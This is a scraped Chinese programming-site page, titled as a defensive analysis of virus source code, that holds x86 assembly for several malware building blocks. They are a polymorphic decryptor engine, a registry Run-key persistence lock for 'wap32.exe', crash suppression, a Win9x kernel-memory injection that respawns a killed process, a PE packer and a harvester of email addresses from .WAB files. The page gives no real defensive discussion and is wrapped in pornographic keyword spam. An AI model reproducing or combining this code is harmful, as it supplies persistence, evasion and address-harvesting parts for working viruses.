亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > Java > 正文

病毒源碼解析之防御分析

2019-09-06 23:33:18
字體:
供稿:網(wǎng)友
1、超級病毒變形引擎

此段代碼會在DATA段內(nèi)生成一個解密代碼。

.586p
.model flat,STDCALL
extrn ExitProcess: proc
VirusSize=100h
.data

DecodeMethod dd ?
DeCode:
pushad
call Encode
db 100h dup(11h)
Encode:
db 100h dup(0cch)
RndReg0 dd 0 ;eax
RndReg1 dd 0 ;ebx
RndCode dd 0 ;Rnd Code
RndMima dd 60932561 ;Rnd Password

.code
@@Start:
mov eax,RndMima
ror eax,7
mov RndCode,eax

mov eax,RndCode
mov ecx,eax
and eax,011b
mov RndReg0,eax
xor ecx,RndMima
and ecx,011b
cmp eax,ecx
jnz short ChooseRegOk
inc ecx
and ecx,011b
ChooseRegOk:
mov RndReg1,ecx


mov edi,offset Encode

ror RndCode,1
call GetBxCode,0,RndReg0,RndCode
mov esi,eax
ContFillStep0:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep0
dec edi

ror RndCode,1
call GetBxCode,1,RndReg1,RndCode
mov esi,eax
ContFillStep1:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep1
dec edi

mov ebx,edi ;//計算機Jmp指令用

ror RndCode,1
call GetBxCode,2,RndReg0,RndCode
mov esi,eax
ContFillStep2:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep2
dec edi

mov eax,RndMima
mov [edi-4],eax ;//填寫隨機密碼
mov eax,RndCode
and eax,01
mov DecodeMethod,eax ;//填寫DeCode方法

ror RndCode,1
call GetBxCode,3,RndReg0,RndCode
mov esi,eax
ContFillStep3:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep3
dec edi

ror RndCode,1
call GetBxCode,4,RndReg1,RndCode
mov esi,eax
ContFillStep4:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep4
dec edi

ror RndCode,1
call GetBxCode,5,RndReg0,RndCode
mov esi,eax
ContFillStep5:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep5
dec edi

mov al,0c3h
mov [edi],al ;//填寫Ret指令

sub ebx,edi
mov [edi-1],bl ;//填寫jmp指令

int 3;

jmp DeCode
ret
GetBxCode proc uses ebx ecx edx esi edi,Step:dword,Reg:dword,Rnd:dword
call GetBxCodeAddr
Step0_Eax:
mov eax,[esp]
int 3;
pop eax
push eax
int 3;
Step0_Ebx:
pop ebx
push ebx
int 3;
push dword ptr[esp]
pop ebx
int 3;
Step0_Ecx:
mov ecx,[esp]
int 3;
pop ecx
push ecx
int 3;
Step0_Edx:
mov edx,[esp]
int 3;
mov edx,esp
mov edx,[edx]
int 3

Step1_Eax:
mov eax,VirusSize
int 3
sub eax,eax
add ax,VirusSize+3081h
sub ax,3081h
int 3
Step1_Ebx:
mov ebx,VirusSize
int 3;
xor ebx,ebx
or bx,VirusSize
int 3;
Step1_Ecx:
sub ecx,ecx
xor ecx,(VirusSize xor 3181h)
xor ecx,(3181h)
int 3;
mov ecx,0
and cx,VirusSize
int 3
Step1_Edx:
and edx,0
xor dx,(VirusSize-0281h)
add dx,0281h
int 3;
xor edx,edx
sub edx,(0181h-VirusSize)
sub edx,-0181h
int 3;

Setp2_Eax:
xor [eax],12345678h
int 3
add [eax],12345678h
int 3
Setp2_Ebx:
xor [ebx],12345678h
int 3;
add [ebx],12345678h
int 3;

Setp2_Ecx:
xor [ecx],12345678h
int 3;
add [ecx],12345678h
int 3;
Setp2_Edx:
xor [edx],12345678h
int 3;
add [edx],12345678h
int 3;
Step3_Eax:
add eax,4
int 3
inc eax
inc eax
inc eax
inc eax
int 3;
Step3_Ebx:
add ebx,5
dec ebx
int 3
add ebx,2
add ebx,2
int 3;
Step3_Ecx:
sub ecx,-4
int 3
sub ecx,-5
dec ecx
int 3;
Step3_Edx:
inc edx
sub edx,-3
int 3
add edx,04
int 3;

Step4_Eax:
sub eax,4
int 3
dec eax
dec eax
dec eax
sub eax,1
int 3;
Step4_Ebx:
dec ebx
sub ebx,3
int 3;
dec ebx
dec ebx
sub ebx,2
int 3;
Step4_Ecx:
add cx,123
sub cx,123+4
int 3
sub cx,-4
dec cx
sub cx,7
int 3
Step4_Edx:
sub dx,2
dec dx
sub dx,1
int 3
inc edx
sub dx,5
int 3;
Step5_Eax:
jnz $
int 3
ja $
int 3
Step5_Ebx:
jg $
int 3
jnb $
int 3
Step5_Ecx:
jnl $
int 3
jnz $
int 3
Step5_Edx:
ja $
int 3
jg $
int 3

GetBxCodeAddr:
pop esi
mov al,0cch ;//指令分割符
mov ecx,Step
shl ecx,1
shl ecx,1
add ecx,Reg ;//計算機得到的指令位置
shl ecx,1
and Rnd,01b
add ecx,Rnd
jcxz short GetBxCodeOver
ContFindCode:
push ecx
ContFindCC:
inc esi
cmp [esi],al
jnz ContFindCC
pop ecx
loop ContFindCode
mov eax,esi
inc eax
ret
GetBxCodeOver:
mov eax,esi
ret
GetBxCode endp


end @@Start


2、Windows 9x/2000/xp 瑣定注冊表

.586p
.model flat,STDCALL
.data

HKeyStr db 'SOFTWAREMicrosoftWindowsCurrentVersionRun',0
ValueName db 'wap32',0
PathName db 'wap32.exe',0

.code

extrn RegOpenKeyA: proc
extrn RegSetValueExA: proc
extrn RegCloseKey: proc
extrn ExitProcess: proc
extrn RegNotifyChangeKeyValue: proc
extrn CreateThread: proc
extrn Sleep: proc
extrn RegQueryValueExA: proc

start:
push eax
call RegOpenKeyA,080000002h,offset HKeyStr,esp
pop ebx
call RegSetValueExA,ebx,offset ValueName,0,01,offset PathName,100h

sub esp,100h
mov eax,esp
push 100h
call RegQueryValueExA,ebx,offset ValueName,0,0,eax,esp
pop eax
add esp,100h

push eax
call CreateThread,0,0,offset RegProtectProc,ebx,0,esp
pop eax
call Sleep,1000*60*3
ret

RegProtectProc proc hKey:dword
mov ebx,hKey
sub esp,100h
mov edi,esp
call GetProtectKeyName
db 'wap32',0
GetProtectKeyName:
pop esi
push 100h
call RegQueryValueExA,ebx,esi,0,0,edi,esp
pop eax
WaitRegChangeNotify:
call RegNotifyChangeKeyValue,ebx,0,4,0,0
call RegSetValueExA,ebx,esi,0,01,edi,100h
jmp short WaitRegChangeNotify
RegProtectProc endp

end start



3、 Windows 9x/2000 意外處理通用程序


此段程序可以達到屏蔽程序錯誤的效果

include wap32.inc

.386p
.model flat,stdcall

extrn MessageBoxA: proc
extrn ExitProcess: proc

.data

Msg db 'Fuck',0

SetSehFrame: ;ecx=忽略錯誤繼續(xù)執(zhí)行地址
pop eax ;彈出返回地址
push ecx ;保存忽略錯誤繼續(xù)執(zhí)行地址
call PushExceptionProc
jmp short Exception
PushExceptionProc:
push fs:dword ptr[0]
mov fs:[0],esp
call GetEspAddr
push D [edx] ;保存原Esp地址值
mov [edx],esp
jmp eax
ClearSehFrame:
pop eax ;彈出返回地址
call GetEspAddr
mov esp,[edx]
pop D [edx] ;恢復(fù)原Esp地址值
pop fs:dword ptr[0]
pop ecx
pop ecx ;彈出忽略錯誤繼續(xù)執(zhí)行地址
jmp eax

Exception proc pRecord,pFrame,pContext,pDispatch
call PushSehBackProc
call ClearSehFrame
jmp ecx
PushSehBackProc:
pop ecx
mov eax,pContext
mov [eax.cx_Eip],ecx
xor eax,eax ;忽略錯誤繼續(xù)執(zhí)行
ret
Exception endp

GetEspAddr:
call PushOffsetEspAddr
dd ?
PushOffsetEspAddr:
pop edx
ret


.code

Start:
call PushErrorProc
call MessageBoxA,0,offset Msg,offset Msg,0
ret
PushErrorProc:
pop ecx
call SetSehFrame
mov ds:[0],eax
call ClearSehFrame
ret


end Start



4、Windows 9x 下進程不死術(shù)

此段程序首先實現(xiàn)Win9x下注射遠程線程(新技術(shù))
然后與Win2k下進程不死術(shù)一樣了。
include Win32.inc

.386p
.model flat,stdcall

extrn GetProcAddress: proc
extrn WinExec: proc
extrn MessageBoxA: proc
extrn Sleep: proc
extrn GetCurrentProcessId: proc
extrn OpenProcess: proc
extrn GetCurrentProcess: proc
extrn WriteProcessMemory: proc
extrn GetExitCodeProcess: proc

.data

;問題,要Sleep()這樣做使Kernel32有機會更新數(shù)據(jù)
KnlThread proc ProcID:dword
call GetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
pop eax
call [eax],PROCESS_ALL_ACCESS,FALSE,ProcID
or eax,eax
jz short ExitProtectProc
mov ebx,eax
call GetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
pop eax
call [eax],ebx,-1h
call GetFileNameAddress
GetFileNameAddress:
pop ecx
add ecx,offset FileName-offset GetFileNameAddress
call GetKnlWinExec
KnlWinExec dd ?
GetKnlWinExec:
pop eax
call [eax],ecx,01
ExitProtectProc:
ret
KnlThread endp

FileName db 'c:wap32.exe',0

KnlOpenProcessStr db 'OpenProcess',0
KnlWaitForObjectStr db 'WaitForSingleObject',0
KnlWinExecStr db 'WinExec',0
KnlSleepStr db 'Sleep',0
KnlCreateKnlThreadStr db 'CreateKernelThread',0

.code

Start:
call GetProcAddress,0bff70000h,offset KnlOpenProcessStr
mov KnlOpenProcess,eax
call GetProcAddress,0bff70000h,offset KnlWaitForObjectStr
mov KnlWaitForSingleObject,eax
call GetProcAddress,0bff70000h,offset KnlWinExecStr
mov KnlWinExec,eax

call MoveDataToKnl,offset Start,0bff70600h,100h

call GetProcAddress,0bff70000h,offset KnlCreateKnlThreadStr
mov ebx,eax
call GetCurrentProcessId
push eax
call ebx,0,0,0bff70000h+600h,eax,0,esp
pop eax
call MessageBoxA,0,offset FileName,offset FileName,0
ret

MoveDataToKnl proc uses ebx esi edi,Src:dword,Des:dword,nCx:dword
push eax
sidt [esp-2]
pop eax
add eax,3*8
mov ebx,[eax]
mov edx,[eax+4]
call SetIdt03
pushad
mov [eax],ebx
mov [eax+4],edx
cld
rep movsb
popad
iret
SetIdt03:
cli
pop W[eax]
pop W[eax+6]
mov esi,Src
mov edi,Des
mov ecx,nCx
int 3;
sti
ret
MoveDataToKnl endp

end Start


5、簡單算法,高效率壓縮PE文件

.586p
.model flat,STDCALL
.data

OldFile db 'pe.exe',0
NewFile db 'pe.zzz',0

FileData db 0,0
.code
extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _lclose: proc
extrn ExitProcess: proc
start:
call _lopen,offset OldFile,0
cmp eax,-1
jz ExitProc
mov esi,eax
call _lcreat,offset NewFile,0
cmp eax,-1
jz CloseOldFile
mov edi,eax

xor ebx,ebx
ReadData:
call _lread,esi,offset FileData,1
or eax,eax
jz short ReadOver
movzx eax,FileData
or eax,eax
jnz short NoZero
inc ebx
cmp ebx,0ffh
jnz short ReadData
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
jmp short ReadData
NoZero:
or ebx,ebx
jnz short NoZeroData
call _lwrite,edi,offset FileData,1
jmp short ReadData
NoZeroData:
push eax
xor eax,eax
mov ah,bl
mov word ptr FileData,ax
call _lwrite,edi,offset FileData,2
xor ebx,ebx
pop eax
mov FileData,al
call _lwrite,edi,offset FileData,1
jmp ReadData
ReadOver:
or ebx,ebx
jz short CloseFile
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
CloseFile:
call _lclose,edi
CloseOldFile:
call _lclose,esi
ExitProc:
call ExitProcess,0

end start

6、提取Windows地址薄文件(*.WAB)的Email信息

.586p
.model flat,STDCALL
.data

MailFile db 'My.WAB',0

.code

extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _llseek: proc
extrn _lclose: proc
extrn MessageBoxA: proc
extrn ExitProcess: proc
extrn WideCharToMultiByte: proc

start:
call _lopen,offset MailFile,0
cmp eax,-1
jz short ExitProc
mov ebx,eax
sub esp,100h
mov edi,esp
call _lread,ebx,edi,100h
cmp eax,100h
jnz short CloseFile
mov eax,[edi+60h] ;得到Unicode郵件名偏移
call _llseek,ebx,eax,0
mov ecx,[edi+64h] ;得到Unicode郵件名個數(shù)
ContWabMail:
push ecx
call _lread,ebx,edi,44h ;讀一個記錄
cmp eax,44
sub esp,100h
mov eax,esp
call WideCharToMultiByte,0,200h,edi,-1,eax,100h,0,0
mov eax,esp
call MessageBoxA,0,eax,eax,0
add esp,100h
pop ecx
loop short ContWabMail
CloseFile:
call _lclose,ebx
ExitProc:
call ExitProcess,0

end start



WSS(Whitecell Security Systems),一個非營利性民間技術(shù)組織,致力于各種系統(tǒng)安全技術(shù)的研究。堅持傳統(tǒng)的hacker精神,追求技術(shù)的精純。
WSS 主頁:http://www.whitecell.org/
WSS 論壇:http://www.whitecell.org/forum/
發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
欧美特级特黄aaaaaa在线看| 蜜桃视频最新网址| 国产原厂视频在线观看| 婷婷午夜社区一区| 久久99精品国产自在现线| 国产精品18久久久久久vr| 亚洲一区二区三区中文字幕| 日韩欧美电影一区二区| 手机在线观看你懂的| 成视频在线观看免费观看| 精品av综合导航| 国产精品进线69影院| 色狠狠色狠狠综合| 欧美中文在线字幕| 欧洲一区在线| 人人爽人人爽人人片| 精品亚洲夜色av98在线观看| 免费h片在线| 欧美爱爱视频免费看| 国产国语亲子伦亲子| 黑人巨大精品欧美| 成人免费在线视频| 视频免费1区二区三区| 欧美激情久久久久| 欧美激情一区二区三区p站| 国产爆乳无码一区二区麻豆| 欧美日韩一区在线观看| 国产成人无码精品久久久性色| 先锋av资源网| 可以在线观看av的网站| av在线不卡电影| 色免费在线视频| 川上优的av在线一区二区| 视频一区二区国产| 欧美日韩国产综合一区二区三区| 未满十八勿进黄网站一区不卡| 91 视频免费观看| 人与动物性xxxx| 欧美大片在线播放| 亚洲精品国精品久久99热| 国产在线高清理伦片a| 99久久99久久精品国产片果冰| 国产欧美日韩中文字幕在线| 日韩精品资源二区在线| 色哟哟视频在线| 国产欧美日韩精品在线观看| 奇门遁甲1982国语版免费观看高清| 黄色av网站免费在线观看| 久久一区二区三区国产精品| 不卡视频一二三四| 日韩av电影免费观看| 久热成人在线视频| 欧美午夜性视频| 久久国产精品精品国产色婷婷| 欧美大片1688网站| 爱福利视频一区| 午夜欧美激情| av地址在线观看| 欧美在线播放一区二区| 中国china体内裑精亚洲片| 娇妻被老王脔到高潮失禁视频| 91成人精品视频| 亚洲一区欧美在线| 免费在线观看av片| 永久免费观看片现看| 91香蕉国产在线观看软件| 中文字幕免费国产精品| 波多野结衣中文字幕一区二区三区| xfav资源| 日韩欧美一中文字暮专区| 国产欧美精品区一区二区三区| 欧美亚洲一级| 国产成人在线观看| 国精产品久拍自产在线网站| 一区二区不卡视频在线观看| 香蕉久久夜色| a天堂资源在线观看| 女囚岛在线观看| 97av影视网在线观看| 欧美另类精品xxxx孕妇| 成人全视频在线观看在线播放高清| av在线播放一区二区三区| 日韩精品91| 在线看国产精品| 欧美日韩理论片| 成年人视频网站免费| 91精品啪在线观看麻豆免费| 免费在线黄色网址| 午夜精品一区二区三区三上悠亚| 中日韩精品一区二区三区| 欧美无砖专区免费| 国产九色在线播放九色| 日本韩国视频一区二区| 日本人亚洲人jjzzjjz| www.wu福利视频18| 久久精品99久久久香蕉| 久操成人在线视频| 久久久久亚洲av无码专区体验| 国产免费人人看| 黄色成人精品网站| 热草久综合在线| 91精品啪在线观看国产18| 欧美极品jizzhd欧美| 国产在线欧美在线| 国产精品美女久久久久久久| 综合亚洲深深色噜噜狠狠网站| 中文字幕在线视频不卡| 亚洲人成在线观看网站高清| 激情综合色播五月| 欧美另类久久久品| 欧美性69xxxx肥| 最近更新在线中文字幕一页| 国产免费黄色一级片| 97中文字幕| 国产欧美日韩视频在线| 亚洲第一狼人社区| 亚洲精品久久久久久久久| 欧美娇小性xxxx| 国产精品白丝jk喷水视频一区| 日韩欧美精品网址| 狠狠搞狠狠干| 国产三级国产精品国产国在线观看| 2019国产精品| 亚洲精品乱码视频| 无人视频在线观看免费| 日日摸夜夜夜夜夜添| 精品久久久久国产| 国产精华一区| 日韩av在线不卡| free性欧美高清另类| 久热精品在线播放| 欧美人与物videos另类| 亚洲少妇最新在线视频| 美女久久久久久久| 久久黄色片网站| aaa在线观看| 午夜久久久久久噜噜噜噜| 天天做夜夜爱爱爱| 少妇被躁爽到高潮无码文| 三上悠亚在线观看二区| 亚州欧美日韩中文视频| 亚洲精品婷婷| 午夜精品中文字幕| 中文字幕制服丝袜| 久久久久亚洲精品成人网小说| 国产999精品久久久久久绿帽| 欧美黄色影院| 四虎亚洲精品| 国产成人生活片| 在线播放日韩精品| 日本视频一区二区三区| 大桥未久av一区二区三区中文| 国产不卡一区二区三区在线观看| 青青草手机在线| 2019一级黄色毛片免费看网| 亚洲+小说+欧美+激情+另类| 亚洲天堂电影网| 国产真实乱人偷精品视频| 欧美日本韩国一区二区| 欧美日韩伦理一区二区| 久草免费在线视频| 在线视频手机国产| 丁香视频五月| 国产婷婷一区二区| 嫩模私拍啪啪| 成人黄色91| 日韩黄在线观看| 亚洲熟女乱综合一区二区三区| 一区二区三区高清不卡| 欧美成人激情图片网| 老牛精品亚洲成av人片| 久久影院在线观看| 亚洲欧美精品一区二区三区| 国产性一级片| 99国产成人精品| 欧美暴力喷水在线| 久久精品国产免费| 精品不卡一区二区| 久久中文字幕av一区二区不卡| 色综合久久88色综合天天看泰| 欧美一二三四在线| 色偷偷91综合久久噜噜| 色偷偷av男人的天堂| 久久机这里只有精品| 亚洲精品午夜在线观看| 国模套图日韩精品一区二区| 五月婷婷一区二区三区| 成人黄色免费电影| 国产一区二区波多野结衣| 欧美电影免费观看高清完整| 欧美成人h版在线观看| 精品国产乱子伦| 偷拍视频一区二区| 欧美成人一区二区视频| 在线免费观看av影视天堂| 99久久婷婷国产综合精品首页| 91精品久久久久久久久99蜜臂| 欧美色倩网站大全免费| 久久久久久无码午夜精品直播| 玖玖玖视频精品| 精品成人自拍视频| 日韩精品一级二级| 亚洲欧洲日韩综合一区二区| 欧美一级三级| 意大利激情丛林无删减版dvd| 九九热精品在线观看| 妖精视频一区二区三区免费观看| 国产日产欧美一区二区视频| 吞精囗交69激情欧美| 在线激情小视频| 欧美一级久久久久久久大片| 久久99精品久久久久久| 亚洲AV无码一区二区三区性| 欧美日韩一区国产| 老女人性淫交视频| 国产一区二区三区日韩| 免费看日b视频| 欧美日韩色一区| 日本va欧美va精品发布| 欧美激情按摩在线| 欧美free嫩15| 国产精品资源站| 三级黄色网址| 亚洲女同一区| 国语精品免费视频| 天天爽夜夜爽夜夜爽精品视频| 国产又黄又猛视频| 亚洲va久久久噜噜噜无码久久| 国产精品一区二区在线观看不卡| 麻豆一区区三区四区产品精品蜜桃| 精品精品精品| 国产成人禁片免费观看| 在线观看 中文字幕| 红桃视频欧美| 亚洲国产精品一区二区久久恐怖片| 亚洲热av色在线播放| 五月天六月丁香| 精品国产欧美一区二区五十路| 一级片视频网站| 一区二区三区中文字幕在线观看| 丝袜+亚洲+另类+欧美+变态| 中文资源在线官网| 欧美日韩精品在线观看视频| 国产精品天美传媒入口| 国产午夜福利视频在线观看| 激情视频在线观看| www.youjizz.com在线| 麻豆mv在线看| 成人亚洲性情网站www在线观看| 精品樱空桃一区二区三区| 亚洲大片在线| 色在线视频网| 亚洲精品久久久久久久久| 999国产在线视频| 国产原创欧美精品| 欧美视频一区二区三区| 日本精品视频网站| 亚洲国产精华液网站w| av电影在线播放高清免费观看| 九九在线视频| 亚洲自拍偷拍网站| 中文字幕一区二区不卡| 成人免费乱码大片a毛片软件| 一色屋色费精品视频在线观看| 中文在线播放一区二区| 你懂的网址一区二区三区| 日本久久一区二区三区| 欧美在线免费一级片| 中文字幕有码在线播放| 超碰人人在线| 波多野结衣天堂| 亚洲一区二区中文字幕| 国产精品日产欧美久久久久| 久久精品亚洲牛牛影视| 日韩美女视频中文字幕| 性做久久久久久久| 久久亚洲综合色一区二区三区| 国产一线二线三线女| 欧美经典三级视频一区二区三区| 国产毛片精品| 免费在线日本| 亚洲色成人网站www永久四虎| 天堂av网手机版| 欧美1区二区| wwwwxxxx日本| 4438x成人网最大色成网站| 在线成人视屏| 337p日本欧洲亚洲大胆鲁鲁| 国产一区三区在线播放| 日韩a级大片| 91污色多多| 免费一级a毛片| 91免费在线播放| 欧美日韩国产精品| 欧美性另类69xxxx| 国产精品手机在线播放| 久久久久久伊人| 久久99精品久久久久久国产越南| 欧美午夜精品久久久久久人妖| 国产精品二区在线观看| 一本色道久久综合亚洲精品酒店| 麻豆中文字幕在线观看| 国产精品久久久久久久久久久久久| 久久99精品久久久久久久久久| 亚洲国产精品嫩草影院久久| youjizz久久| 欧美一区二区日韩| 久久久久久久9| 亚洲人成电影网站色xx| 国产成人精品一区二区免费视频| 亚洲黄在线观看| 国产三级aaa| 精品国产乱码久久久久酒店| 亚洲色图在线视频| 中国一级黄色录像| 中文字幕在线视频一区二区| 亚洲一区二区三区视频在线播放| 日韩欧美一中文字暮专区| 国产一区二区三区欧美| 免费不卡在线视频| 粉嫩av懂色av蜜臀av分享| 亚洲国产欧美在线成人app| 手机在线观看国产精品| 女人在下体塞跳蛋在线观看| 奇米影视第四狠狠777| 亚洲人成自拍网站| 亚洲午夜久久| 亚洲图片欧美综合|